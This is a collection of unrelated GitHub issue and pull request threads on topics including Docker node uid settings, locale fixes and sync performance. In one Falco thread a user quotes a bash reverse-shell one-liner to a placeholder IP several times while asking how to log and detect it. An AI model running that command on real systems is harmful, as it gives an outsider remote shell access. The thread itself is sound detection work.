So you seem to have edited the code snippet, but my impression was that the variable names coming out of the parallelized code were themselves non-deterministic. Maybe I'm wrong about that? But if it's true, then there obviously won't be a way to sort them consistently.

I didn't edit the code snippet.  The variable names are deterministic.  It's their use that is non-deterministic.  In the cases that I see both nodes always use the same variable names, but sometimes they will swap which barrier is the arrive barrier and which ones i the wait barrier.  When that happens we get the deadlock.

Ok, I'll have to look at this more to see where the non-determinism is coming in.

Bug fixed with https://github.com/StanfordLegion/legion/commit/1d5319b67a3be7d8b4d298db418c84f74a1ef376


There appears to be a constraint on the owner id number of the torrc.default file not reflected in the instructions

Excellent explanations and instructions - thank you!
This is the first comprehensive guide that allowed me to successfully  set up nodes on Docker using Tor.
I successfully set up nodes on a Synology NAS with external SSD.
One small issue with the Tor instructions:-
I found that it was not enough to have a common group id number between the torrc.default file and the Tor container.
I could only make the Tor container run correctly if the user id numbers also matched.
Suggest small update to instructions to reflect this assuming the sensitivity more widespread than just my experience.
(After finding this Tor sensitivity, rather than tinker with the other services, I just edited to use common group id number AND user id number for all containers with the userid number passed in as a parameter just as the group id number is in your version. While this may not have been necessary for all containers, it did not hurt and allowed for greater consistency)

Hi James,
To be honest, I have always deployed the nodes on new machines and probably, the ids have always matched.
I will review the Tor documentation to see if we have any other options and I will update the documentation accordingly.
Thanks for sharing this issue.

I cannot find any reference or mention to that requirement. Also I was trying to simulate the issue but is not repicable...
# ls -n
total 4
-rw-r--r-- 1 1000 1099 303 Jun 12  2023 torrc.default
# chown nobody torrc.default
# ls -n
total 4
-rw-r--r-- 1 65534 1099 303 Jun 12  2023 torrc.default
# exit
$ cd <repo>
$ docker-compose up -d tor
// ...
Jun 04 19:58:55.772 [notice] Read configuration file "/home/tor/torrc.default".

Can you think what it might be? Could it be something of the host machine?

Thanks for your reply!
So it turns out my fix was better than my issue report!
I went back more thoroughly to explore removing and adding back the specific user id assignment in the Dockerfiles. Unfortunately I had it completely the wrong way round in my first report - apologies:

The Tor container does work with userid not assigned a specific value in the Dockerfile
However both the Bitcoin and the Electrs containers give permission denied errors trying to open their respective config files when the userid is not assigned in the Dockerfiles eventhough the assigned group id of the file is the same as the one assigned for the container user
Weirdly for these containers, when the userid is assigned in the Dockerfiles, I can change the owner of the config files so that it does not match the container user id (as you did in your reply) and the containers still run fine

I’m working on a Synology NAS which does some functions including user management a bit differently to other Linux so it’s possible that it’s unique to my situation:.
My host user and host user group are nodebg and nodebgs and I’m using 1033 and 65537 as container user and group ids.

Id nodebg → uid=1033(nodebg) gid=100(users) groups=100(users),65537(nodebgs)

Thanks for your further thoughts. No worries if it’s a dead end.  Learning all the time…

P.S. This Dockerfile for a Monero node also sets the user id for the container
https://github.com/sethforprivacy/simple-monerod-docker/blob/main/Dockerfile
There is reference in the readme to this being important on Synology NAS
https://github.com/sethforprivacy/simple-monerod-docker/blob/main/README.md#running-as-a-different-user

Hi @jamesfpb
Thanks for sharing so detailed info. I was reviewing everything and I think your suggestion is the way to go:

Add the user id as a custom param for for all containers
Mention in the documentation your experience as a hint.


Add lives to player/paddle(3)

Currently, a user dies if he doesn't complete the level in first try.This would lead to difficulty when the game is extended to multiple levels.We need to avoid that

I can try it. Pull request on the way :)

Guys This issue has been resolved


Slovakia

Please make the app available in the Slovak App and Play stores. Thanks

As noted in https://github.com/corona-warn-app/cwa-backlog/issues/9#issuecomment-652980998 , the Corona-Warn-App is now also available in App stores for Slovakia!


chore(cli): update clap, clap-complete

fixes zsh completion bug https://github.com/clap-rs/clap/pull/3295 that first appeared in https://github.com/gakonst/foundry/pull/469

make lint returns successfully from my repo. so im not sure whats up with the GHA

Evmodin issue. Unrelated, we'll be removing it as we're not using it anywhere


support raw log output and capturing the full command line

Motivation

I hope Falco can support raw log output, such as all process creation, file read/write operations, etc. This can help in better contextual analysis. I also hope that the logs of process creation can be more detailed. Due to limitations with execve, commands like bash -i >& /dev/tcp/<IP_ADDRESS>/2333 0>&1 only show bash -i in the command line, and the rest of the command is not recorded. I have tried using audit and some eBPF tools but could not obtain the complete command line.
Feature

I wish for Falco to support raw log output, capturing all operations like process creation and file read/write. Additionally, I hope for more detailed logging of process creation, capturing the full command line even for complex commands like bash -i >& /dev/tcp/<IP_ADDRESS>/2333 0>&1.
Alternatives

I have considered using audit and some eBPF tools, but none of them were able to capture the complete command line for process creation.
Additional context

Adding this feature will significantly enhance contextual analysis capabilities, making it easier to investigate and understand the full scope of events.

Hello @Jumbo-WJB,
The tool you're looking for already exists, it's more or less the "big brother" of Falco. Both have been created by Sysdig and use the same technologies/libs underlying. This tool is https://github.com/draios/sysdig/, it allows you to captures the syscalls following filters (same fields and logic than those used in the Falco rules). The captures can be then be read and pass through chisel to format the results.
To know more, you can read a post I wrote about it years ago https://github.com/Issif/sysdig-vs-malware or watch a talk I did at KCD Czech & Slovak 2w ago https://www.youtube.com/watch?v=ScluwvDdYqg.
Moreover, as the libs and the syntax are the same, you use the captures made by sysdig as source for Falco, it allows use to tune the rules "on cold".

@Issif  Thank you. I will look into the tools and YouTube

Through sysdig and YouTube, I found that sysdig and Falco are great tools. However, regarding the command bash -i >& /dev/tcp/<IP_ADDRESS>/2333 0>&1, I discovered that using execve cannot capture the full command line because the commands after the pipe symbol are executed within the shell interpreter without creating a new subprocess. Therefore, using execve for this command only yields the simple result bash -i. Of course, the command bash -i >& /dev/tcp/<IP_ADDRESS>/2333 0>&1 can be detected and alerted by monitoring the file descriptors of the bash process. However, if I want to capture the full command line, can Falco help me with this?

I see your point, I did some tests on my side. Effectively, I wasn't able to catch the exact command used to create the reverse shell.
1267 12:34:09.309076762 0 bash (15660.15660) < execve res=0 exe=bash args=-i. tid=15660(bash) pid=15660(bash) ptid=14475(bash) cwd=<NA> fdlimit=1073741816 pgft_maj=0 pgft_min=54 vm_size=1800 vm_rss=4 vm_swap=0 comm=bash cgroups=cpuset=/system.slice/docker-a99860c5ab2331098d00fba3948beb55f07f34addff0d7f40... env=HOSTNAME=a99860c5ab23.PWD=/.HOME=/root.LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00... tty=34816 pgid=20 loginuid=-1(<NONE>) flags=1(EXE_WRITABLE) cap_inheritable=0 cap_permitted=A80425FB cap_effective=A80425FB exe_ino=475 exe_ino_ctime=2024-04-08 09:29:48.832867775 exe_ino_mtime=2022-01-06 16:23:33.000000000 uid=0(<NA>) trusted_exepath=/usr/bin/bash

On the other side, this is not the philosophy of Falco to "capture" this whole command, it has been created to detect the finality, which is the reverse shell. In other words, the redirections to a network connection of the stdin/out.
We have a rule for that: https://falco.org/docs/reference/rules/default-rules/#Redirect_STDOUT/STDIN_to_Network_Connection_in_Container and you can find a blog post from Sysdig which explains what are the reverse shells and how to detect them with Falco https://sysdig.com/blog/reverse-shell-falco-sysdig-secure/

Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle stale


Сan't rotate and reorder fans in iCUE

Hello) Ask for help. I use 6 fans, everything works well, but in icue rotate and reorder fans does not have any effect. Is this how it should be, or am I doing something wrong?
(Powered By Google Translate :) )

Rotate and reorder is something entirely done in iCUE, so it's only working in SoftwareLighting mode, not in hardware lighting mode. Because rotate and reorder is done in iCUE the arduino does not have to to anything special. iCUE changes the LED output which is interpreted by the arduino.
If rotate and reorder does not work it's more an iCUE problem because the arduino don't know about the rotation and order of the fans.


some fixes in the chinese locales

just pointing out some fixes in the Chinese editor.json file that would follow some Chinese software naming convention and avoid confusion:
 "common": {
          "label": {
 -            "ok": "Ok",
 +            "ok": "确认"    //meaning confirm
}

     "menu": {
          "label": {
              "view": {
 -                "view": "表示",                       //meaning said, express
 -                "showGrid": "表示网格",       //meaning express grid  ?_?
 +                "view": "显示",                      //meaning display， view
 +                "showGrid": "显示网格",      // meaning display grid
 -                 "displayStatus": "表示节点状态",   //same reason as above
 +                "displayStatus": "显示节点状态",  //same reason as above

-            "bool": "真伪判断",
 +            "bool": "布尔",        //this is a more common term for 'boolean' in Chinese

-            "advanced": "高级的"
 +            "advanced": "高级"           //just a cleaner expression

I've created PR in #1452 and #145 for these changes. Thanks!

Agree.

#1452 and #1453 have both been merged. Closing this issue. Thanks!


Eigen3-nnls error.

I got these error while building the fit-model see below

How to get rid of these error.

Did you follow the instructions

make sure to clone the repository with git clone --recursive, or, if you're updating, run git submodule update --init --recursive

? If that's not the issue, then you need to inspect the error log more closely and use your best judgement to pinpoint the error more closely. Please see the readme file and appveyor.yml for how to build. Please use Stackoverflow for issues with your system, your configuration or build-setup, as this is not an eos library issue. eos builds successfully on AppVeyor and travis-ci.


nvidia driver wont work after uninstalling envycotnrol

Thank you for this great project!
I have noticed, that if you switch to integrated graphics and then uninstall envycontrol via pip uninstall, the udev rules at /lib/udev/rules.d/50-remove-nvidia.rules and the file that blacklists the nvidia driver at /etc/modprobe.d/blacklist-nvidia.conf are not deleted. This results in the nvidia driver not working after the uninstall, until you manually delete these files.

Thank you for this great project!
I have noticed, that if you switch to integrated graphics and then uninstall envycontrol via pip uninstall, the udev rules at /lib/udev/rules.d/50-remove-nvidia.rules and the file that blacklists the nvidia driver at /etc/modprobe.d/blacklist-nvidia.conf are not deleted. This results in the nvidia driver not working after the uninstall, until you manually delete these files.

Switching to hybrid mode first removes those files ;)


PIA implementation

PIA seems to work, tests on small network seems to make sense

Should be no conflicts with my new work

one issue I just found is that I'm currently adding direct connections between stations in the network, whereas in the PIA paper they start off with a graph and find the shortest path between stations in the graph. i might have to fix this later


loadDataset function call is not consistent with its api

Traceback (most recent call last):
File "dlrm_s_pytorch.py", line 490, in
args.processed_data_file,
File "/home/bweinstein/software/Algorithms/dlrm-melrose/dlrm_data_pytorch.py", line 53, in read_dataset
dataset, num_samples, raw_data, processed_data
TypeError: loadDataset() takes 1 positional argument but 4 were given

This is an issue that was introduced in the recent PR (https://github.com/facebookresearch/dlrm/commit/ff9f9f19831c1aca8dcc9ffb847e29a7716ef4c8), this has been fixed and the patch should be available shortly

We have fixed this issue in subsequent commit https://github.com/facebookresearch/dlrm/commit/786fbc9479dc7b2787a5934526024f03f8d15be7
Please try again and let us know if it works.

It works. Thanks.


Fix typo in README

This should be self-explanatory.
Another thing I noticed: I tried to use Node 16 (The latest LTS) but got an error when trying to npm install. It worked with Node 12 though. Maybe the supported/recommended Node version should be noted somewhere in the README

thanks @dserv-nh!


Support both PulsePal v1.X and PulsePal v2.X USB interfaces

Noticed while looking through the interface specs between 1.X and 2.X and comparing with Python implementation, seems that some places in the documentation have not updated the changes between versions with regards to data type of certain parameters. For example for setFixedVoltage, in the Python implementation the version change is that the voltage value is uint16 rather than uint8 - but in the documentation of the USB interface setFixedVoltage refers to a single byte for the voltage value in both 1.X and 2.X.
Assuming that the Python implementation is correct, was the documentation for 2.X USB interface not updated?


Turn off Qr scanner after pasting from clipboard

As noted in issue #190 the qr scanner doesn't properly turn off when pasting an address from a clipboard and only on a successful qr scan.
Upon troubleshooting this problem i discovered it seemed to do with the fact that the input box and the QrCodeSanner component were separate and joined together in the send route. The qr scanner is only looking for valid data scanned from the qr code and not valid data typed in the input field. At first I attempted to import the qrCodeRef to find the existing qr scan and then kill it upon calling the handleContinue() function of the send route with,
qrCodeRef.current?.stop()
however, I was not able to get react to successfully identify the qr scanner that was started in the separate component so I instead decide to build matching logic for the input field inside of the QrCodeScanner component to ensure that when the continue button is pressed it can find and kill the existing qr scanner.
Lastly I added a small amount of styling because that qr scanner is too damn BIG!
I am happy that it works but would have liked to simplify the logic and not double up the code :sweat_smile: just thought I'd give a hand at fixing this bug that i thought could be fixed more easily.
If there is a way to find and kill the Qr scanner from outside of the component this code could be much more simplified.

okay #221 should hopefully unblock you on this, let me know if you have any qs!

Going to give this another crack this weekend!


Create C# object for BaseDevice

Closes #110
This PR implements a BaseDevice object that we can use to convert raw Device data into a BsonDocument. This is part of the "Factory" story #80, but I decided against implementing a Factory class. This type of work is easily done using a C# object instead, since there exist methods out there that automatically serialize objects into BSON.

All open issues have been resolved


Change the speed after event

It doesn't seem to be possible but I would like to perform something like that to change speed after first flip:
$('.flip-container').flip({trigger: 'manual', speed: 250});
$('.flip-container').flip('toggle');
$('.flip-container').flip({trigger: 'manual', speed: 3000});

Any workaround?

I was under the impression that this should actually work.
Can you prepare a JSFiddle demonstrating it?

@JemarJones Do you still want to look at this or shall we close it?

https://github.com/nnattawat/flip/issues/58

@ebaynaud Do you want to keep this open? If so I suggest you prepare a JSFiddle.

Can be closed as I'm not working anymore on that project for the moment
--
Erwan
On Wed, Nov 18, 2015 at 3:17 PM, Stijn de Witt<EMAIL_ADDRESS>wrote:

@ebaynaud https://github.com/ebaynaud Do you want to keep this open? If
so I suggest you prepare a JSFiddle.
—
Reply to this email directly or view it on GitHub
https://github.com/nnattawat/flip/issues/59#issuecomment-157725761.

Ok, thanks for the heads-up.


Summarize user journeys with storyboards

[ ] Prepare the workshop
[ ] Facilitate workshop
[ ] Restitute

[ ] Prepare the workshop
[ ] Facilitate workshop
[ ] Restitute

Template to use : https://miro.com/app/board/uXjVNQnR09A=/

Hey team! Please add your planning poker estimate with Zenhub @ad2ien @JDixmier


Introduce transact_for_success()

which is similar to transact() but checks the receipt's status field.
Currently, we rely on the behavior that transact() raises TransactionFailed exception, but this is true only when we don't specify the amount of gas.  We'll be specifying the amount of gas (so that tests run faster) https://github.com/raiden-network/raiden-contracts/pull/794.

I'm curious how slower the CI test becomes.

The test is taking longer.  The original purpose of these changes was to make them faster.  Perhaps I should just introduce call_and_transact.


Add MySQL 5.7 support.

Mysql2::Error: All parts of a PRIMARY KEY must be NOT NULL.

@ROMOPAT tests seem to have some problems?

Is that syntax backwards compatible? It looks like there are duplicate keys, but it might be a testing issues.

/home/travis/.rvm/gems/ruby-2.1.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract_mysql_adapter.rb:245:in `query': Mysql2::Error: Duplicate entry '2147483647' for key 'PRIMARY':  insert into empires values(2147483648) (ActiveRecord::RecordNotUnique)

The tests had gotten rusty since the last time they were run.  I got them passing then merged these commits and fixed the test breakage.  @ROMOPAT give the rails3 branch a whirl and if it looks good to you I'll release it.


'dict object' has no attribute 'sensu_masters'

All i am facing the following issue after following the docs to install on a single node. my config is as follows:
inventory:

cat inventory/sensu.yml
[sensu_masters]
sensu.master

[rabbitmq_servers]
sensu.master

[redis_servers]
sensu.master

group_vars:

cat group_vars/all.yml
rabbitmq_host: sensu
redis_host: sensu
sensu_api_host: sensu
dynamic_data_store: /etc/ansible/config/data/dynamic

host_vars:
cat host_vars/sensu.yml
sensu_master: true
sensu_include_dashboard: true
rabbitmq_server: true
redis_server: true

but i continue to get the following error
fatal: [localhost]: FAILED! => {"failed": true, "msg": "{{ sensu_ssl_tool_base_path }}/client/cert.pem: {{ dynamic_data_store }}/{{ groups['sensu_masters'][0] }}{{ sensu_master_config_path }}/ssl_generation/sensu_ssl_tool: {{ hostvars[groups['sensu_masters'][0]]['sensu_config_path'] | default('/etc/sensu') }}: 'dict object' has no attribute 'sensu_masters'"}
ansible version
ansible <IP_ADDRESS>
  config file = /etc/ansible/ansible.cfg
  configured module search path = Default w/o overrides
  python version = 2.7.5 (default, Nov  6 2016, 00:28:07) [GCC 4.8.5 20150623 (Red Hat 4.8.5-11)]

sensu version
0.29.0
I have looked though the other issues  and was not able to find a resolution, I am fairly new to ansible but not sensu and have deployed it before with chef. thanks in advance for any help you can provide.
rr

bump ?

Sorry about that, it looks like you don't have any sensu_masters defined, despite your inventory indicating otherwise. Can you config ansible --list-hosts sensu_masters returns at least one host? If not, you'll want double check that /etc/ansible/ansible.cfg is pulling in the correct file.

  hosts (1):
    sensu.master```

Ok so a couple of things if i remove the host groups it fails on the ssl. I added them back in executes 27 steps installs sensu installs redis but it does not start and does not install rabbitmq. there are no errors ..

now there is a sensu log entry
/opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-settings-10.0.0/lib/sensu/settings/loader.rb:440:in initialize': Permission denied @ rb_sysopen - /tmp/sensu_server_loaded_files (Errno::EACCES)
from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-settings-10.0.0/lib/sensu/settings/loader.rb:440:in open'         from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-settings-10.0.0/lib/sensu/settings/loader.rb:440:in create_loaded_tempfile!'
from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-settings-10.0.0/lib/sensu/settings/loader.rb:233:in set_env!'         from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-0.29.0/lib/sensu/daemon.rb:145:in load_settings'
from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-0.29.0/lib/sensu/daemon.rb:56:in initialize'         from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-0.29.0/lib/sensu/server/process.rb:44:in initialize'
from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-0.29.0/lib/sensu/server/process.rb:32:in new'         from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-0.29.0/lib/sensu/server/process.rb:32:in run'
from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-0.29.0/exe/sensu-server:10:in <top (required)>'         from /opt/sensu/bin/sensu-server:22:in load'
from /opt/sensu/bin/sensu-server:22:in <main>'


Add pyproject.toml for Custom Node Registry

We are building a global registry for custom nodes (similar to PyPI). The registry makes using custom nodes more reliable by reserving globally unique names for each custom node, and supporting semantic versioning.
Here’s some more information on the registry.
Action Required:

[ ] Go to the registry. Login and create a publisher id. Comment it here and we will update the PR (or just merge it and change it yourself).
[ ] Write a short the description.
[ ] Merge the separate Github Actions PR and run the workflow.
If you want to publish the node manually, install the cli and run comfy node publish

Please message me on Discord if you have any questions!

Thanks for the suggestion.
Currently, although the nodes are functional, the repo is not complete. Some nodes are missing (I need to look into nodes that create linked lists, all missing nodes have an array parameter).
When this is done, I intend on writing the readme and publishing to comfy manager. I will also take a look at this registry, at a first glance it seems to be a good idea.

Thanks for the suggestion.
Currently, although the nodes are functional, the repo is not complete. Some nodes are missing (I need to look into nodes that create linked lists, all missing nodes have an array parameter).
When this is done, I intend on writing the readme and publishing to comfy manager. I will also take a look at this registry, at a first glance it seems to be a good idea.

of course! this sounds great! as a heads up we're working with dr.lt.data on the registry as well!


Added CGPA Percentage Calculator

Fixes Issue🛠

Closes #524
Description👨💻

Quickly convert your CGPA to percentage and vice-versa.
Tailwind CSS CDN is used.
Type of change📄

[x] New feature (non-breaking change which adds functionality)

How this has been tested✅
Tested on my localhost with edge cases like negative/invalid inputs

Checklist✅

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have added demonstration in the form of GIF/video file
[x] I am an Open Source Contributor

Screenshots/GIF📷
https://github.com/Rakesh9100/CalcDiverse/assets/83776946/abd8499f-4e17-4593-be74-12a649a4d290

Merged, Congrats on getting your PR merged to this repo under SWOC S4 🎉🎉 @srshah27


Add Gio.Notification bindings

Should also fix #36

This not enough, you need do generate files in auto with make gir or it equivalent.
Also maybe gir just don't generate Notification due some errors.

Sorry 'bout that, should be fixed now :)

Please add NotificationPriority to generate and squash changes to one commit

Fixed!

Not fully, seems "Merge" is empty commit and need be removed.

@nielsdg, sorry, don't see that you merged FileInfo generation (normally it done with rebase). Thanks.
@GuillaumeGomez, 👍 for merge

Thanks!


Make glob.py work with python3

Looks good, thanks!
Can you fill out our CLA at https://opensource.dropbox.com/cla/ and then I can merge this?

Done.


Categorizes errors thrown during check:data

[Fixes # .]https://jira.coinbase-corp.com/browse/ROSE-166
Motivation
To organize the types of errors that can be thrown during a check:data run
Open questions

lgtm


Large Refactor to Clean Up FixestMulti class

Clean up the FixestMulti class to allow incorporation of compression strategy without producing a completely messy code base.

[x] Rework Feols
[x] Rework Feiv
[x] Rework Fepois
[x] Fix linter & type checks

In more detail, the model_matrix() step is moved from FixestMulti to the estimation subclasses. They no longer accept matrix inputs but have an API close to the one of feols() - one has to provide a Formula object, a pd.DataFrame, and other function arguments and no longer numpy arrays.
The changes in the PR also make the add_context() method superfluous.

pre-commit.ci autofix


Sync Optimizations

Remove handling of {target: ...} in MOVE operations. This has been removed from the protocol, and has no active
implementations. See protocol docs for MOVE.
Never persist MOVE operations - we only care about the checksum.
Do not persist REMOVE operations if any of these hold:

This is an initial sync for the bucket (including adding new buckets). However, these do still need to supersede previous PUT operations.
There was no previous operation supserseded (REMOVE for a PUT operation we don't have).
More generally, if the only superseded operations were not applied locally yet, meaning there is nothing to remove locally.

Fix a crash due to wrapping checksums (integer overflow) in debug builds. Release builds did not have this issue.
When receiving a new operation for a row, instead of marking the previous operation as superseded, delete it.

Combined, these optimizations could help to significantly speed up initial sync of compacted buckets, where a large percentage of operations are MOVE or REMOVE operations.
This will not have a significant performance impact if:

The bucket is not compacted at all (meaning no MOVE operations).
The bucket is fully defragmented (meaning only PUT operations).

Benchmark 1 - many MOVE and REMOVE ops
Test case:

Local powersync-service
122,422 total operations (30MB downloaded), with:

2,422 PUT operations (13MB of data)
60,000 MOVE operations
60,000 REMOVE operations

Dart native, Linux desktop
Before: 5.7s
After: 2.7s
Diagnostics app (web sdk)
Disabled dynamic schema generation.
Before: 74s for saving the data, 490s (!) for compacting
After: 7.8s
The big speedup is likely from not filling ps_oplog with many REMOVE operations. Will need further investigation to determine why it was so slow, since we may still get this kind of performance for other cases with a large number of operations.
Benchmark 2 - many PUT ops for small number of rows
Test case:

Local powersync-service
60k total operations (21MB downloaded), over 20 rows

Dart native, Linux desktop
Before: 2.34s, 800KB db file, 4.6MB WAL
After: 2.07s, 4KB db file, 2.6MB WAL
This gives around 10% performance improvement, but with significantly reduced storage usage.
Diagnostics app (web sdk)
Before: 77s, 2.2MB storage
After: 37s, 4.5MB storage
It's not clear why the storage increased in this case.
Future Work
Remove superseded column
We can completely remove the superseded column - it is now always 0. This will require some semi-tricky migrations, so we're not doing it just yet (there may be existing data where superseded = 1).
Optimize compacting
Now that superseded operations are immediately deleted, we can also optimize the compact operations (clear_remove_ops). By combining this with the SET last_applied_op = last_op part, we can significantly reduce the number of rows we need to scan for REMOVE operations after incremental updates. This can give us continuous auto-compacting, instead of the current "compact once every 1000 operations".
Normalize bucket names
Bucket names are primarily used when saving and superseding operations. We already store each synced bucket in ps_buckets. We can use those ids in ps_oplog, instead of the full bucket names. This could reduce storage size and increase performance.

Will get a new release with these changes out next week.
Note that for the web SDK, the changes in https://github.com/powersync-ja/powersync-js/pull/266 fix the biggest performance issues, but these changes will give further improvements for buckets with many more operations than actual rows.